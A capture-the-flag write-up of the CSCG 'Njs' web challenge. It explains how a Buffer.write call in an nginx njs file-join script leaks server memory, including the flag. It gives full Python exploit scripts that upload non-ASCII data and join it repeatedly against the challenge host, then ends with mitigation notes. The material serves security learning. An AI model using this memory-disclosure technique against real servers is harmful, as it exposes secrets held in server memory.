Njs

Category: Web
Difficulty: Medium
Author: d0ntrash
Writeup by: argator

Description

Check out my **Nimble Join Service** (NJS)! It is a file server with the unique ability to join files before downloading them.

Since it only executes trusted JavaScript code, there should be no risk of memory leakage, right?

Summary

The challenge provides a server, that has the following abilities:

- Upload files
- See Files → download them
- Join and download them
  There are given 2 files:
- join.js
- nginx.conf

Nginx

The nginx.conf is just some configuration file and seems to contain no vulnerablities.
The documentation *nginx security* writes:
"if no *js_import* directives are present in `nginx.conf`, nginx is safe from JavaScript-related vulnerabilities"
As our nginx.conf only imports the join.js lets have a look into this file.

Buffer

The following comment uses the word **leakage**... similar to the description:

```
// Using alloc() instead of allocUnsafe() to ensure no sensitive data is leaked!
let reply_buffer = Buffer.alloc(response.length);
```

- The Buffer seems to be vulnerable to memory leakage.

- Again looking into the documentation will show, that .alloc() should 0 all bytes when being allocated.
    - allocUnsafe() would not, what would lead to leakage, as old vars could be stored there.

But also this error message seems to be quite unusual:

```
// Joined response does not contain any ASCII data...
reply_buffer.write(ascii_error);
```

- The ascii_error is just some fixed string and usually one would write the string just here.
- so why the introduced variable?

As the content of this buffer is in the end the response the client gets, it should be noticed, that the two lines of code use objects of different sizes in the same Buffer.
This is probably a problem.
One could e.g. create response with a shorter length than ascii_error:
Uploading a file wiht 4 bytes, results in a joined response of the first 4 bytes of the ascii error.
→ Makes sense as JS is a **memory safe** language.

Exploit

But still we could try the other way:

- Allocating a huge Buffer with a response of only non ascii character will result in writing the ascii_error.
- But we also receive a lot of garbage afterwards.
- The reason for that is, that write won't stop after the ascii_error and will continue to copy the "string", as it is interpreted as a raw pointer and never checked against its size (only the size of the Buffer).
  This also means, if the flag is somewhere behind the ascii_error in memory and all addresses between are readable, we can leak all the bytes until and including the flag.

Of course this is the case as you can see through executing the following exploit.

Final exploit

This is how you can upload a file of size 4000

- note it is not allowed to make it arbitrary huge, that's why we have to join it with itself several times

```
import requests
import sys
```

```python
import random




def send_raw_post_request(url, data_bytes):
    """
    Send a raw POST request to the specified URL with the given byte data.

    Parameters:
    - url (str): The URL to which the POST request should be sent.
    - data_bytes (bytes): The byte data to be sent in the POST request.

    Returns:
    - response (requests.Response): The response from the server.
    """
    try:
        headers = {
            'Content-Type': 'application/octet-stream',
            'Accept': 'text/html; charset=utf-8'  # Explicitly setting Accept
header
        }
        # Send a POST request to the URL with the raw byte data
        response = requests.post(url, data=data_bytes, headers=headers)

        # Check if the request was successful
        if response.status_code == 200:
            print("Success: Data posted successfully!")
        else:
            print(f"Failed to post data: Status code {response.status_code} -
{response.text}")

        return response
    except Exception as e:
        print(f"An error occurred: {e}")
        return None


def random_bytes(num_bytes):
    return bytes([random.randint(0x80, 0xFF) for _ in range(num_bytes)])



# Example usage
if __name__ == "__main__":
    # URL to which the POST request will be sent
    post_url = "https://7d64996f64ef641be292ca34-1024-
njs.challenge.cscg.live:1337/upload"
```

```
    content = random_bytes(4000)
    response = send_raw_post_request(post_url,content)

    if response:
        print(response.text)
```

This is how you can join them and use grep to retrieve the flag contained in the output

```
import requests
import sys
def send_join_request(url, endpoints):
    """
    Sends a POST request to the specified URL to join files from given
endpoints.

    Parameters:
    - url (str): The URL to which the POST request should be sent.
    - endpoints (list of str): List of file paths (endpoints) to be joined.

    Returns:
    - response (requests.Response): The response from the server.
    """
    # Data to be sent in POST request
    payload = {
        "endpoints": endpoints
    }

    try:
        headers = {
            'Accept': 'text/html; charset=utf-8'  # Explicitly setting Accept
header
        }

        # Send POST request with JSON payload
        response = requests.post(url, json=payload,headers = headers)

        # Check if the request was successful
        if response.status_code == 200:
            #print("Success: Files joined successfully!")
            pass
        else:
            print(f"Failed to join files: Status code {response.status_code} -
{response.text}")

        return response
    except Exception as e:
```

```
        print(f"An error occurred: {e}")
        return None

# Example usage
if __name__ == "__main__":
    # URL to which the POST request will be sent
    join_url = "https://7d64996f64ef641be292ca34-1024-
njs.challenge.cscg.live:1337/join"

    files_to_join =
["0000000001","0000000001","0000000001","0000000001","0000000001","0000000001",
"0000000001","0000000001","0000000001","0000000001","0000000001","0000000001","
0000000001","0000000001"]


    # Send the join request
    response = send_join_request(join_url, files_to_join)

    # Will contain the flag somewhere
    if response:
        print(response.text)
```

Mitigate

This vulnerability can be corrected on the hand in javascript code, ensuring that the Buffer size always matches the size of the string, that is written.
But it probably should also be fixed or changed (as it is no bug , see in the end) in the underlying js implementation.
Here it should not be used a raw memcpy.

- It should not only use the size of the Buffer, but additionaly the size of the string to examine the end of the copy operation.
  Also Nginx is maybe not the best choice for such a system, as it has policies as stated in the end and isn't used that often.

Interesting:

The vulnerability is only available in nginx js, as in node.js nothing is printed behind the actual string.

- This is why it took me pretty long to get to the solution, as i tested the most code snippets in node.js against some input

Also interesting is, that it is not considered as a vulnerability, as seen in the documentation: "memory disclosure and other security issues triggered by JavaScript code modification are not considered security issues, but as ordinary bugs"